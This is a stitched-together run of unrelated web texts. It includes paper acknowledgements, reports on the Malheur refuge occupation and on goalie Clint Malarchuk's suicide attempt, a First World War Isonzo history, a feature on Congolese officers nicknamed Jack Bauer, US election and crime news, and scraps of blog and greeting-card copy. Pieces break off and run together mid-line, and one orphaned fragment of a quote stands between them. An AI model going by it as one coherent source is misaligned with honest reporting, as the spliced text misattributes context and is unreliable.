Acknowledgements We thank the Director of Biological Resources and Protected Natural Territories of the Ministry of Nature Protection of the Republic of Sakha (Yakutia), the administration of the Ust′-Maya region, Nikolay Atlasov, Elena Aleksandrova and Mike Hall. We are grateful to Shuhai Xiao, Yaoping Cai, Hong Hua, Maoyan Zhu, Miriam Lisa Pacheco, Lucas Warren and James Schiffbauer for specimen photographs, Alina Konovalenko for the reconstruction of Suvorovella, and Alex Lui and Phil Donoghue for reviewing the manuscript.
FootnotesAs the armed siege of an eastern Oregon wildlife refuge entered its second week, the rightwing militia faced increasing pressure to surrender – including from former supporters of the occupation’s leader.
Ammon Bundy, the Nevada rancher who organized the takeover of the Malheur national wildlife refuge headquarters, avoided reporters all weekend as some of the protesters began to leave the occupation and as local residents and activists who had previously backed Bundy demanded that he and his militiamen retreat.
“We’re gonna figure some way to get him out,” Travis Williams, a 46-year-old Harney County rancher, told the Guardian on Saturday night. Williams had met and collaborated with Bundy last month in advance of a large rally to protest against the prosecution and imprisonment of local cattle ranchers Dwight Hammond and his son, Steven. But he and other local allies of Bundy were shocked when Bundy and fellow out-of-state men hijacked the protests and formed a heavily armed militia that seized a number of buildings at the federal wildlife sanctuary, located 30 miles away from the town of Burns.
By Friday night, Williams and other Harney County residents who were previously aligned with Bundy were publicly requesting that the Nevada rancher and the rest of the occupiers leave the refuge and allow community representatives to take over the cause of fighting for increased local control of federally managed lands.
Williams said he appreciated that Bundy’s militia was shining a light on ranchers who have fought the federal government for years over land-use rights. “It got the media out there,” he said.
But Williams said he’s ready for Bundy to accept the offer of Harney County sheriff Dave Ward to peacefully escort the militia off the refuge and out of state. “I’d like to be able to send him home in the right way that would help us keep this energy that he created,” he said. “If he goes home the wrong way – in handcuffs or a casket – I’m afraid that’s going to be bad.”
Speaking at a packed community meeting on Friday night, local resident Melodi Molt, reading from a carefully worded letter that a group of residents later hand-delivered to Bundy, said: “We thank you for stirring us to action, which we hope will peaceably lead to justice for the Hammonds … With that being said, we feel that any good which may come out of this event has reached its full potential.”
Molt and Williams are both part of a community committee that Bundy recently helped form but which has since severed ties with the militia leader. Their public rebuke came days after a chorus of Burns residents unaffiliated with Bundy also demanded that he end the occupation.
Over the weekend, a number of outside rightwing groups that showed up to Burns heavily armed – claiming to be peacekeeping mediators – also encouraged the Bundy militia to end the occupation as soon as possible. Brandon Curtiss, president of a group called 3% of Idaho, said he has been supportive of Bundy in the past, but that it was clearly time for the standoff to end. “Ammon’s a good friend of mine. I still talk to him every day,” he said. “I tell him, ‘I don’t condone what you did. You left a mess.’”
Meanwhile, at the refuge, Bundy failed to show up to the militia’s daily morning press conference on Saturday and then canceled the news event altogether on Sunday. Several sources noted that at least a small handful of occupiers have left the compound in recent days as the occupation drags on indefinitely.
Melvin Lee, a Tucson, Arizona resident, was in and out of the compound throughout the week and is affiliated with “patriot” groups that support similar causes to those backed by the Bundy militia. But by Saturday night, he was on the road back home and said he had convinced a number of fellow Arizona residents to pull out of the occupation as tensions and fears of potential violence continued to escalate.
“I support sticking up for anybody’s constitutional rights,” Lee, 45, told the Guardian by phone as he drove to Arizona. He said he respected Bundy, but that it appeared some of the armed militiamen at the refuge were unprepared to handle a conflict with police – should it come to that. “Nobody had talked to them about what to do if law enforcement or FBI or whoever showed up to remove them.”
A 42-year-old Arizona resident, who left with Lee and requested anonymity because his employer did not know he was at the occupation, added that he feared one of the younger men at the refuge could get caught up in violence if the FBI does show up. “These guys in the militia are looking for that big hoora moment – and they’re gonna get it at the expense of some young 20-year-old kid who’s never been in the military and is just trying to do what he thinks is right.”
On Sunday afternoon, in the federal building that houses the occupation’s shared living area, kitchen and storage room, protesters who have been involved from the start said they would not back down until Bundy and other militia leaders felt it was appropriate. One room was filled with an abundance of food and toiletries – a supply that has constantly been replenished and grown as supporters near and far continue to donate goods.
As they prepared the night’s dinner, which included marinated chicken breasts and salmon steaks, occupiers Debra Carter Pope and Melissa Cooper confirmed that a few members of the group had left, either due to fatigue or because they had to return to family or jobs back home.
“We’re a little tired … but we’re still pretty positive,” said Pope, a 61-year-old Fallon, Nevada, resident, who does the majority of cooking for the occupation. She’s been drinking Red Bull energy drinks to keep up. But Pope said she was in no rush to see the occupation come to an end. “It’s a big happy family here and I’m loving cooking for everybody.”
In his last public appearance on Friday morning, Bundy said he would eventually take the sheriff’s offer for free passage out of the state – “but not yet”.
Pope’s fiance, Corey Lequieu, said he would not be surprised if the militia stayed for months. He cited the Indian occupation of Alcatraz Island in California, which went on for 19 months in 1969 and 1970. “This isn’t going to happen overnight,” said Lequieu, who works for a hauling company. But he said he did hope the refuge occupation ultimately was shorter than the Alcatraz takeover. “I don’t want to be here for that long. I’ve gotta get back to work.”Dear Visitor,
I gotta warn you! Before you click through my large collection of photos, you should not forget, what you hear and read daily in of your home countrys's media about China's boom.
They talk about "The Sleeping Giant". About "The Birth of the New Super Power" or "The Awakening of the Red Dragon". Often with a strange kind of undertone, which is supposed to frighten us. The reality definitely looks more peaceful.
For years I've been fascinated by the country and the people. Whenever I linger through the boom town Shanghai, I carry my snap shot camera with me. Because at every corner you can discover people that either are napping in the strangest positions and situations, or are even snoring, while in a deep sleep. The missing mattresses and pillows are noteworthy!
The calmness, the flexibility and the adaptability of those, who are jointly responsible for the revival of China fascinate me. I would be happy, if I could bring over some of these feelings to you.
Now, enjoy a selection from my collection of over 700 photos SLEEPINGCHINESE.
Yours,
Bernd
[Deutsch]Perhaps you thought the border between the United States and Canada was a thoroughly invisible boundary line, something as theoretical and imaginary as the cordon between the Eastern and Central Standard time zones. Well, you would be wrong.
Thanks to the ongoing work of the International Boundary Commission, a visible line runs through 1349 miles of forested land along the 5525-mile border between the two amicable countries. It’s a narrow, clear-cut vista informally known as the “Slash.” In Vermont and New York, this northern border is based on another invisible line: the 45th Parallel.
Passengers aboard the Newport-based cruise boat Northern Star, which operates daily on Lake Memphremagog from late spring to late fall, are treated to unmistakable sightings of the line where the U.S. ends and Canada begins. As captains Chris Johansen and Andy Scott steer the boat north into Canadian waters, they encourage passengers to observe the 20-foot-wide bald strip coursing through the wooded land on both the port and starboard sides.
So whose chain saws do the work? Are they full of petrol or gas? Are the workers paid in loonies or greenbacks? How often do they maintain the Slash? And whose idea was it to create a no-trespass express lane straight through the boundary forests?
To answer these questions, I spoke with the United States’ International Boundary Commission’s acting commissioner, Kyle Hipsley.
The IBC, a cooperative project composed of both Canadian and U.S. personnel, has two commissioners, one appointed by Canada’s Order-in-Council and one by the American president. Hipsley, who spoke by phone from his office in Montana, is referred to as the “acting” commissioner because he was not appointed by President Obama, who has yet to select a commissioner. When President George H.W. Bush’s appointed commissioner, David Longly Bernhardt, resigned in January 2009, Hipsley, the deputy commissioner since 2001, stepped into the role.
Hipsley has personally worked on every part of the boundary from the Atlantic to the Pacific to the Arctic Ocean, and has served as head of each of the three U.S. IBC field offices. In a calming drawl, he explained that the U.S. and Canadian divisions of the IBC both have their own staff, equipment and budget. The two groups meet once a year to divvy up their work.
Their 15-year management plan extends the entire length of the border, from Houlton, Maine, to Arctic Village, Alaska. While Alaska’s limited growing season dictates cutting its vista just once every 15 years, the vigorous forests of the East must be cut every five to six years. The Americans handle the north line from Houlton to Van Buren, Maine. But the north line running through Lake Memphremagog, forming the flat top of Vermont, is tackled by Canadians based in Ottawa, which is closer than the Maine office.
Manual labor crews of five to 10 people travel the line, the eastern workers typically staying in motels along the way. (In the isolated precincts out west, workers are more likely to camp.) By day, crews armed with maps and power tools inspect, maintain and reestablish the 20-foot-wide corridor that straddles 10 feet of American soil and 10 feet (three meters) of Canada’s. The last time our northern boundary met the shears of Canadian trimmers was in the summer of 2010, which means that, circa 2016, they will pass through again.
So what is the point, er, line of thinking behind this no-tree-left-behind zone?
“The purpose,” Hipsley explained genially, “is so the average person … knows they are on the border.”
That border, he noted, dates back to the 1783 Treaty of Paris, which established British Canada as separate from the colonies of the future United States. Later, a survey conducted from 1872 to 1874 laid out a definitive border. Over the years, about 20 other agreements, conventions and treaties have parceled out the property of Canada and the U.S. The IBC was established in 1908, when the 1874 boundary was so overgrown and its markers (called “monuments”) so decimated that it had to be carved out all over again.
Lest visitors think the 20-foot-wide endless lane they just discovered in the north woods is some kind of installation art or strange land-management practice, the IBC has placed 8000 monuments and reference points along it indicating the international border. “If you cross it and are caught, whether you intended to or not, you can be fined a substantial amount — so it’s important,” Hipsley warned.
The definitive course of our southern boundary with Mexico is overseen by a separate organization, the International Boundary and Water Commission, first established in 1889. When I asked Hipsley to compare his work with that of the other commission, he contended the two jobs aren’t as different as you might think. “It’s still important, because we [the U.S. and Canada] have different governments with different policies on farming and timber management.”
In any case, he noted, policing the flow of goods and people isn’t his job. “We’re not law enforcement — our job is just making sure people know where it’s at.”The potential for clean, limitless nuclear-fusion power has led humanity to spend billions of dollars seeking it out, ever since Albert Einstein came up with the theories that make it possible. With the specter of climate change looming, the stakes are ever higher.
This week on Actuality, we meet scientists testing a fusion reactor that’s hotter than the sun—and they say that a full-scale version could be 25 years away.
Then, we take a detour into the strange world of cold fusion, the people who hate it, and the billionaires risking their money in the field because the rewards could be so large.
You can listen to Actuality and subscribe on iTunes, or use this RSS feed to subscribe with your favorite podcast app.
In this episode, we visit the Princeton Plasma Physics Laboratory and talk with staff, including the lab’s director, Stewart Prager, and chief engineer Alfred von Halle, about the power plant they’re piloting. We also speak to MIT’s Peter Hagelstein and Robert Godes of Brillouin Energy.
After you listen to this episode, give us some clues for what you want to see in future episodes. Who else is doing the impossible? Tell us on twitter, or e-mail us.
Actuality is a joint production of Quartz and Marketplace. Every two weeks, we’ll explore the inner workings of the new global economy, combining the best of our economic smarts.Former NHL goalie Clint Malarchuk struggled for years with depression and alcoholism, before reaching a breaking point on Oct. 7, 2008. On that day he attempted to take his own life by sticking a gun to his chin and pulling the trigger in front of his wife.
Malarchuk’s new memoir "The Crazy Game: How I Survived the Crease and Beyond” starts with what transpired that day.
His wife, Joanie, told CTV's Canada AM that she came home to find her husband sitting on a bench with a gun lying next to him on a table.
"He was just beside himself. He said 'I just can't live in my head anymore. I can't do this anymore; I just don't know what to do,'" she recalled, struggling to hold back tears.
"He said: 'This is what I want to do'… and I remember, he stood up and that's when the gun went off."
Malarchuk survived the incident, and the bullet remains lodged in his forehead.
He later enrolled in a six-month stint in a treatment centre to recover "emotionally, spiritually, and mentally" – a process he likened to an "exorcism of his demons." He said he’s emerged from the incident with a new sense of purpose.
Joanie also sought help at a recovery centre in California for family members of people suffering from addiction.
Life-changing accident
Most hockey fans remember Malarchuk for his astounding recovery after a 1989 freak accident on the rink that nearly cost him his life.
Malarchuk nearly died while tending goal for the Buffalo Sabres on March 22, 1989, when his jugular got sliced by a skate blade during a game against the St. Louis Blues. He survived and miraculously returned to the ice just 10 days later.
But the accident, which took place on live TV in front of millions of viewers, forever changed him and his outlook on the game.
It also prompted him to share the private struggles he's faced off the ice, battling depression, anxiety and alcoholism for years.
Malarchuk said that although it wasn't recognized at the time, he first started suffering from anxiety as a child, even requiring hospitalization when he was about 12.
"A lot of things that appeared on the outside just weren't going on in the inside – a lot of turmoil, a lot of anxiety," he said.
He said he found refuge from his anxiety in hockey, feeling most at peace leading up to and during a game. But within hours of a game wrapping up, he would soon feel his anxiety creeping up again.
'It's my claim to fame'
In his memoir, Malarchuk says he struggled deeply with depression and alcoholism after he realized that he would likely forever be associated with the 1989 accident that nearly killed him.
"My career has come to be defined by the accident. It's my claim to fame," he says in the book. "I had a decent run in the NHL, but I wasn't a Hall of Famer. Still, the fact is that I'm probably remembered better than a lot of goalies with similar stats."
It would be years before doctors eventually diagnosed him with obsessive compulsive disorder and post-traumatic stress disorder.
Malarchuk said that as he struggled with his illness, he would lash out at his wife, being physically and verbally abusive to her. Yet, despite it all, Joanie said she couldn't bring herself to leave him.
"You could just really tell that this was not who he was choosing to be, so how could I leave him? He's my best friend," she said.
The couple recognize that their story is very "raw" and very honest, but hope that it can help others who may also be struggling with mental health problems.
"We didn't sugar-coat things," Malarchuk said. "We did it to help people, and give them maybe inspiration and hope."Battles - The First Battle of the Isonzo, 1915
In many ways the Battles of the Isonzo mirrored those on the Western Front, albeit on a smaller scale. As with the ongoing battle raging in France and Flanders the lines across the Isonzo were defined by the onset of trench warfare. For a single-article background to the Isonzo battles click here.
Italian Policy of Aggressive Warfare
It was certainly never Italian Chief of Staff Luigi Cadorna's intention that the war along the Italian Front should be anything but mobile. For far longer than his contemporaries on the Western Front he persisted in wholly aggressive infantry tactics in determining the strategy for Italian attacks.
Time and again he was determined to break the trench stalemate - and each time circumstances conspired to defeat his objectives.
Whereas Cadorna was desperate to satisfy his Allies (and government) by securing sweeping territorial gains from the Austro-Hungarians, his enemy was perfectly content to maintain a defensive posture. In short, the Austro-Hungarian army (under Eugen and Boroevic) prepared solely for a defensive war - and possession of the mountains along the Isonzo greatly assisted them in their resolve.
Trench Warfare along the Isonzo
But how did trench warfare along the Isonzo come to pass? While hostilities along the Italian Front began officially in late May 1915 with Italy's formal entry into the war on the side of the Allies, preparations for battle had gone on for rather longer.
Cadorna intended to spring surprise attacks across the Isonzo as soon as war began; and his Austro-Hungarian foe, suspecting something of the kind, fortified the mountain passes against likely attack. In the preparation of trenches and defensive lines the Austro-Hungarians had a year's head start, having been in a state of war since late-July 1914.
Countdown to the Battles of the Isonzo
As soon as war was announced Cadorna initiated his surprise offensive, called "the First Jump" (Primo Sbalzo). Launched in distinct areas at points along the Italian Front (and not just along the Isonzo river) the series of attacks were designed to boost the Italian army's position from the first.
Thus, in the north-east the Italians advanced across the Italian-Austrian border to the banks of the Isonzo. Italian General Frugoni rapidly captured Caporetto - later the scene of a spectacular combined German-Austro-Hungarian assault.
Somewhat further south Duke Aosta attempted to advance on Gorizia but was repulsed by prepared Austro-Hungarian forces massed around the city and surrounding mountains.
In the south itself the Italians were unable to make much progress on account of seasonal flooding around Monfalcone (which ought to have been foreseen by Cadorna). Similarly, Italian attacks upon the Tolmino bridgehead, at Mte Krn, failed owing to a lack of planning and sufficient artillery support.
Notwithstanding this Cadorna ordered a concerted attempt to create an Italian bridgehead between Gorizia and Tolmino in an unsuccessful attack which ran from 11-17 June 1915. This was to be the final attack ahead of the First Battle of the Isonzo which began less than a week later on 23 June, the first of four Italian Isonzo assaults throughout the remainder of 1915.
The First Battle of the Isonzo: 23 June-7 July 1915
In numerical terms the Italians enjoyed a marked advantage over their Austro-Hungarian opponents. General Boroevic was able to muster a force of around 100,000 for the Austro-Hungarians while Frugoni and the Duke of Aosta for the Italians had twice that number at their disposal, added to which they possessed around 200 guns.
Despite their seemingly decisive superiority in numbers the Italians - after a one week artillery bombardment of Austrian positions - battered against the Austro-Hungarian lines in vain in their attempt to cross the river and scale the mountains beyond.
Cadorna was duplicating the early mistakes of commanders on the Western Front. He chose to launch massed infantry assaults without first assembling sufficient artillery protection. Further, he had diluted the potency of his attack by launching tactically unnecessary subsidiary attacks in the Trentino and in the central Isonzo near Gorizia.
Two additional divisions of Austro-Hungarian infantry were rapidly despatched to Boroevic's aid and the Austrian commander successfully prevented any Italian crossing of the Isonzo before Cadorna called off his attack after two weeks on 7 July.
The Italians had however made a number of minor gains: Mount Krn was partly occupied and the heights around Plezzo were taken, |
quite different from saying they ordered it.”GOMA, Congo—Food is scarce, running water almost unheard of, and the number of paved roads can be counted on one hand. But there’s one thing the eastern Democratic Republic of the Congo has no shortage of: Jack Bauers.
There’s a Jack Bauer to help recover your stolen phone; a Jack Bauer to foil market bombings; and the Jack Bauer who sets up interviews with rebel fighters and then smuggles you across the battle’s frontlines.
In Goma, the provincial capital in eastern Congo, two decades of war have eroded the roads; the buildings are crumbling, along with any hope for peace and stability. There’s little faith in the far-away national government to halt the violence that has long plagued the country. Instead, many believe that what the Congo really needs is its own Jack Bauer.
Jack Bauer and I meet for the first time at a decrepit downtown roundabout where a sign emblazoned in French, proclaiming “Justice” “Peace” “Work,” hangs below a roaring leopard head. Bauer has just arrested a man he believes to be a leader of a well-known rebel group, and asks to reschedule our meeting so he can deliver the prisoner to his superiors.
This Jack Bauer is one of the most famous military captains in the area, but no one seems to know his real name. “I just call him Jack,” multiple people tell me.
The next day, we meet again on the porch of an expensive hotel in Goma. The sun is bright after the recent rainy season, and Bauer’s eyes are hidden behind large shades. Smoking a cigarette and sipping ginger juice, he reveals his name is Jean Bidel Bukasa. The drink’s virility properties may be overkill—the 36-year-old local celebrity already has five children from four different women.
The American spy show 24—in which hero Jack Bauer foils nefarious plots to destroy the world, one day at a time—is ubiquitous in eastern Congo. Reruns of 24 air on the restaurant televisions not playing soccer matches. On the streets, murals of Kiefer Sutherland cover movie store facades. And the series’ terrorist-fighting protagonist, hellbent on halting plots to destroy his country, has spawned countless local imitators.
“People love 24 because Congo has been through a lot of things and they think we need someone who can react as Jack Bauer,” Bukasa explains. With no faith in the government or international community, some Congolese have taken the country’s security into their own hands. He’s is one of the numerous men in Goma who has adopted the name of the swashbuckling agent.
“It really inspired me,” he says. “It shows me, as a security guy, how I can save my country, how I can protect my country from attacks and assist its citizens.”
Over the past 20 years, the Congo has survived two foreign-backed wars, an onslaught of outsiders exploiting its vast natural resources, and an explosion of armed rebel groups who continue to stir up trouble in the restive east. An estimated 5 million people have died due to this conflict.
It’s a country where assassinations, disappearances, and corruption are the norm, and not even the most far-fetched conspiracy theories like the over-the-top plotlines of 24 are implausible.
So, an army of Jack Bauers has stepped in to save their country. Bukasa believes it’s been left to him and his brothers-in-arms to fight Congo’s wars. Orphaned, he joined the army at age 16 and climbed to the rank of captain in the intelligence unit of the Armed Forces of the Democratic Republic of Congo.
In 2005, a rebel group called CNDP had begun a rise to power. As Bukasa tells it, the insurgents sent militiamen to his home to kill him. Exits out of Goma had been shut down, but he managed a daring escape and smuggled himself 150 miles away to a safer city. By the time he arrived, his shocked senior officers had presumed him dead. Impressed, they anointed him Jack Bauer. “It was a dream come true to hear them call me that,” he recalls.
Since then, Bukasa says, he’s become the go-to guy for impossible missions. He recently snuck himself into territory of the notorious FDLR rebels—remnants of the Rwandan genocide perpetrators who’ve been hiding out in Congo’s jungles for 20 years—to retrieve the body of a military commander who’d been killed.
“When this ideology of Jack Bauer comes to me it’s like taking drugs,” he says, showing photos of the corpse on his oversized tablet-phone. “I have no fear.”
Now, Bukasa uses the techniques he’s picked up from the show to capture the region’s most wanted criminals. “If I’m planning an operation I have to watch 24 to study,” he says. He declines to reveal what exactly those inspired moves are, though gives a foreboding hint: “I think Jack Bauer is someone who doesn’t really respect the law, he can do anything and then he’ll think later.”Bukasa continues flipping through photos. There’s a group of four men whom he says raped a woman. A robber who evaded capture for years. Some of these pictures he posts on Facebook, which he says is necessary to let people know who the bad guys are.
He pulls up a picture of what appears to be a decapitated head. He says it was taken of one of the victims of a recent rebel attack on the city’s airport. “The security in Goma is horrific,” he says. “If I told you I could change everything I’d be lying to you. My goal is just to see good changes.”
The conflict has slowed, but there’s no forgetting the carnage in battle-weary Goma. Aid-branded Land Cruisers—belonging to Doctors Without Borders, Save the Children, and UNHCR—form humanitarian parades through the unpaved streets and pull into walled compounds with armed guards and watchtowers.
In response to the violence, the United Nations installed the headquarters of its largest and most expensive United Nations peacekeeping mission, MONUSCO, in Goma. Its operations are tucked away in temporary container offices behind blue gates, though its presence dominates the city of 1 million. Shiny white UN trucks and tanks are around every corner, but with a mandate that prohibited offensive action until recently, its presence is widely thought to be ineffective. On the weekends, soldiers and civilian UN employees, flush with hardship income, dine at expensive restaurants and cruise the disco ball-filled clubs. They’re popularly known as the “tourist army.”
“These people are jokers,” Bukasa says. “They’re just here for a picnic, really. They’re not doing anything.”
Bukasa is not just a military captain, but a boxer, self-proclaimed dandy, and aspiring actor with three movies under his belt. He shows off a clip from a recent film on his phone where he’s a rebel boss drinking whiskey and plotting the kidnapping of the American ambassador. In the credits, he’s listed as “Jack Bauer.”
He also mentors other aspiring Jack Bauers, instructing them to be honest, not greedy, and willing to sacrifice to help the country’s most vulnerable people. “Those who are named Jack Bauer they have to show they’re really Jack Bauer because we need their help,” he says.
If the wannabes get too reckless, Bukasa puts them in their place. When he was sent on a remote mission, another member of his department took the nickname for himself. Furious, Bukasa complained to his superiors back to headquarters, who assured him it wouldn’t last. “They’re just mirroring me,” he says of the others. “They’re not really Jack Bauer, they’re faking.”
The other Jack Bauers don’t agree.
“There are other people who call themselves Jack Bauer but when they see me they can’t call themselves Jack Bauer again,” says Anderson Kombomayo. The 28-year-old intelligence captain is Bukasa’s counterpart in the police force. He shows up to our meeting in a camo shirt, MONUSCO branded across the chest. On his bicep is a tattooed dinosaur with his first name arched above in capital letters. On his chest, he says, he plans to tattoo a picture of Jack Bauer’s face.
After the 2012 insurgency by a Rwandan-backed rebel group called M23, Kombomayo was tasked with retrieving more than 1,500 criminals who’d escaped from Goma’s central prison. For his successes, the police department bestowed on him the ultimate honor: “You are going to be the Jack Bauer of our department,” they told him.
“I learn the moves of Jack Bauer like a cause,” Kombomayo says. For two hours per day, he’ll watch episodes on his phone, studying them intently. When he’s off the clock, he binge watches. “I must get it in my mind and it must stay,” he says.Perhaps no one has watched 24 with as much dedication as Caleb Kabanda.
Kabanda got his first glimpse of the show at a neighbor’s house over a decade ago. When an electricity outage forced a break in the viewing session he hoped on a motorbike and rode immediately to the market to purchase the first four seasons. For three days and two nights he watched without sleeping. Now he’s seen the entire series five times over.
“If you want, I can tell you the plot of every season,” he offers over a glass of red wine at a lakefront restaurant in Goma. He’s forgotten, perhaps, that six months prior, in the course of three-hour trek in the jungle, he recounted 24’s most important plot points to me, season by season.
When Kabanda calls himself Jack Bauer he breaks into a distinctive smile, revealing a gap of four missing front teeth, but the source of his nickname is no laughing matter.
Since Congo’s first civil war broke out in 1996, Kabanda has worked with foreign journalists as a fixer—a hybrid translator, security expert, and logistical coordinator. Today, the 38-year-old’s services are used by the biggest media organizations and visiting dignitaries, including Ben Affleck, who runs the Eastern Congo Initiative. His job has put him at the frontlines of the country’s rebellions, sent him deep into militia territory, and given him an endurance to rival the on-screen terrorist hunter.
“Only Jack Bauer makes the impossible things possible,” Kabanda says of his fixing talents. At that moment, the impossible task is getting a New York Times journalist with visa problems past the country’s notoriously difficult border crossing. Kabanda describes his exploits in between string-pulling calls to high-ranking ministers.
Kabanda got his nickname in 2008 by an impressed Washington Post journalist whom he’d helped out of dangerous scrapes, including an arrest. “I saved her from many terrorist attacks,” he says. She called him Jack Bauer and he called her Madame President, referring to the female leader of the show.
With Kabanda’s catchphrase, “I will fix it” —sometimes sprinkled with “It’s handled,” in homage to the problem-solving Olivia Pope of Scandal—his adopted name doesn’t feel too far-fetched.
While the journalist-assisting Jack Bauer does his part to bring the plight of the Congo to the world’s attention, he believes there’s a greater role for 24 in his country.
“Most Congolese watch thinking that if our president watched this show he could help the Congolese people,” Kabanda says. “But he doesn’t even watch 24.”
A visit by the real Jack Bauer would do what the president cannot, Kabanda believes. Kiefer Sutherland in the flesh could be the most effective form of intervention yet.
“All Congolese know that if he comes he will save the Congo,” Kabanda says. “Oh my God—he’s the most popular person in the Congo. More popular than any actor or president. If he gives a message on the radio to armed groups and says, ‘I give you one week to surrender your weapons,’ I’m telling you, all these groups will stop fighting.”
During his 2013 visit, Anthony Bourdain suggested a similar solution: “The State Dept. should send Kiefer Sutherland as special envoy to Congo. Most admired man here. By far. #JackBauer,” he tweeted. Sutherland declined to comment, but Kabanda asked that his invitation to visit the Congo be conveyed in this article.
In a seemingly neverending conflict, where nearly every form of diplomacy has been disappointing, Jack Bauer is the man for the job.
“Congo should not be suffering the way we’re suffering,” Kabanda says. “Congolese should not be living the life we’re living. Congo could be the paradise of the world if we had a good president and a Jack Bauer.” Then he adds, modestly: “Not the way I am—I am just a little Jack Bauer, trying to get the world interested in my country."
The International Women's Media Foundation supported Nina Strochlic's reporting from the Democratic Republic of the Congo.Chandigarh: In a major blow to Shiromani Akali Dal (SAD), its former vice-president and noted Sufi singer Hans Raj Hans on Saturday joined Congress party in the presence of Punjab Caongress Captain Amarinder Singh.
Hans, who joined the Congress party at a closed function at a residence of a party MLA in Chandigarh, described the SAD and Badal family as thankless and opportunist at the same time.
Hans had campaigned for Harsimrat Kaur Badal in Bathinda Parliament constituency and helped her win the seat and had been a part of SAD for seven years, before he resigned from the post in 2014.
Hans had contested 2009 Lok Sabha polls from Jalandhar seat on SAD ticket but was defeated. At that time, he accused SAD leaders of not providing him enough support during the election.
Captain Amrinder Singh welcomed Hans in the party and also assured him of full support and respect from the party members.Soraya Lahlou-Pinaud, 6, tries on her mother's hat while mother Mona Lahlou votes at Claude Moore Recreation Center for the Virginia 33rd state Senate seat on Jan. 21, 2014, in Sterling, Va. (Jahi Chikwendiu/The Washington Post)
A bipartisan commission recommended a series of steps Wednesday to make it simpler to cast ballots in the next election, but largely avoided the most politically contentious issues in a debate over voter access that has become deeply partisan.
Concluding a six-month review, the Presidential Commission on Election Administration said in its report that jurisdictions should expand online voter registration and early balloting, update electronic voting equipment as first-generation voting machines grow obsolete and share voter registration records across state lines to protect against fraud.
The 112-page report also suggests improvements in the more traditional ways Americans have voted. They include increasing the number of schools used as polling places, locating polling places close to voters’ homes and simplifying voting for members of the military and other Americans living overseas through better access to state Web sites.
Together the recommendations present a comprehensive, if largely unsurprising, list of ways to make voting easier for millions of Americans — a promise President Obama made on the night of his reelection. The suggestions, all tested at the state level, occupy what is perhaps the safest ground in the partisan debate over U.S. elections, avoiding the more politically treacherous proposals surrounding online voting, same-day registration and other issues.
The report is part of a broader political debate about voting rights as the two major parties argue about how simple it should be for Americans to register and cast ballots while also protecting against fraud. Last week, lawmakers from both parties presented an amendment to the landmark 1965 Voting Rights Act that proposes stricter voter ID requirements and other changes.
Obama, who appointed the commission, called its suggestions “eminently glittering” after receiving them Wednesday, and said the White House intends to “reach out to stakeholders all across the country to make sure that we can implement” the commission’s report.
“One of the troubling aspects of the work that they did was hearing from local officials indicating that we could have even more problems in the future if we don’t act now,” Obama said before meeting with commission members at the White House.
Who should vote, and how easy it should be to do so, has emerged again in recent years as a highly contested partisan question.
Many Republicans argue that the federal government should not be involved in voting issues, given that administering elections is largely the responsibility of states. But some Democrats say threats to voting access require a federal response, particularly new state and local restrictions that have made registering to vote more difficult.
The Supreme Court struck down a key provision of the Voting Rights Act last year, ruling that Congress had not taken into account the nation’s progress on issues of race in deciding which states require federal oversight of minority voting rights. The ruling affected many Southern states that have become reliably Republican in recent elections.
The election commission, criticized by some members of both parties when Obama announced it last year, left aside the issue of race in assessing access to voting places and waiting times for casting ballots.
But the panel said bilingual poll workers should be available “to any polling place with a significant number of voters who do not speak English,” a suggestion that is likely to concern Republicans who have complained that Obama formed the commission to drive up Democratic votes. Latino voters, who comprise 10 percent of the electorate, favored Obama by more than 40 percentage points over Mitt Romney in 2012.
“We discovered, as officials, experts and members of the public from across the country testified, that voters’ expectations are remarkably uniform and transcend differences of party and political perspective,” the 10-member commission wrote in the report’s cover letter. “The electorate seeks above all modern, efficient and responsive administrative performance in the conduct of elections.”
Many voters, particularly those living in poor neighborhoods, waited for hours to cast ballots in the 2012 election. In his reelection victory speech, Obama thanked “every American who participated in this election — whether you voted for the very first time or waited in line for a very long time.”
“By the way,” he added, “we have to fix that.”
Obama created the election commission in March, naming Benjamin L. Ginsberg and Robert F. Bauer as co-chairmen. The men served as the chief lawyers of the Romney and Obama presidential campaigns, respectively.
The panel only recommended changes, such as expanded online registration, that have already been implemented in some states.
David Becker, the director of the Pew Charitable Trusts’ Election Initiative, which provided research and data to the commission, said the recommendations have been successful in states but “have yet to reach a critical mass” nationally.
“They wanted to see if there were a consensus of reforms successful at the state level that could be shared,” Becker said. “I think they wisely decided to focus on these tested reforms, carried out in red, blue and purple states.”
Behind the recommendations was a push to accelerate the use of technological advances to make voting easier and more efficient. Commissioners did not recommend a push for online voting because of continued security concerns.
The initial reaction to the recommendations from voter advocacy groups was largely positive. Laura W. Murphy, director of the American Civil Liberties Union’s Washington Legislative Office, said in a statement that “overall these are a series of recommendations that make sense” but that “we have to analyze them comprehensively both for their civil rights and privacy implications.”
Heather Gerken, a member of the Bipartisan Policy Center’s commission on political reform, said “it is often difficult to find agreement in this fraught political environment, particularly in the area of election administration.”
Obama called on Congress and local jurisdictions to help put the recommendations into place.
“No American should have to wait more than half an hour to vote,” Obama said. “And they should know, they should be confident that their vote is being properly counted and is secure.”Suspect Oscar Morel appears for an arraignment at the Queens Criminal Court for his alleged involvement in the murder of Imam Maulama Akonjee and Thara Uddin in Queens, New York, U.S. on August 16, 2016. REUTERS/Dennis A. Clark/Pool/File Photo
NEW YORK (Reuters) - A New York City grand jury on Monday indicted a Brooklyn man who is accused of fatally shooting a Muslim cleric and his assistant this month after they left a mosque in Queens.
Oscar Morel, 35, was charged with one count of first degree murder, two counts of second degree murder and two counts of second-degree criminal possession of a weapon, court documents showed. He has denied committing the killings.
“The defendant’s alleged actions strike at the very heart of our county’s Muslim community,” Queens District Attorney Richard Brown said in a statement on Monday. “Both victims were gentlemen of peace and their deaths are a devastating loss to their families and the community that they served.”
Imam Maulana Akonjee, 55, and Thara Uddin, 64, were gunned down after they left their mosque on Saturday, Aug. 13, in the Ozone Park neighborhood of Queens in an attack that shocked the area’s largely Bangladeshi community.
Authorities have said the gunman’s motive remains unclear and the possibility it was a hate crime is being investigated.
Morel, who has been held without bail since his initial court appearance last week, will be arraigned on the grand jury’s indictment at a later date.
If convicted, he faces up to life in prison without the possibility of parole.
Akonjee, a father of seven, emigrated to the United States from Bangladesh several years ago. Community members who knew him well described the slain imam as a humble man who lived and breathed his religious faith.Good fathers are difficult to find. If you have a gem of a father and you wish to make him feel special, here is your chance. Wish him a very happy father's day with some brilliant father's day quotes. If you have shied away from expressing your warm feelings to your father, don't lose this opportunity. These charming father's day quotes can awaken and rebuild long-lost relationships.
Erika Cosby
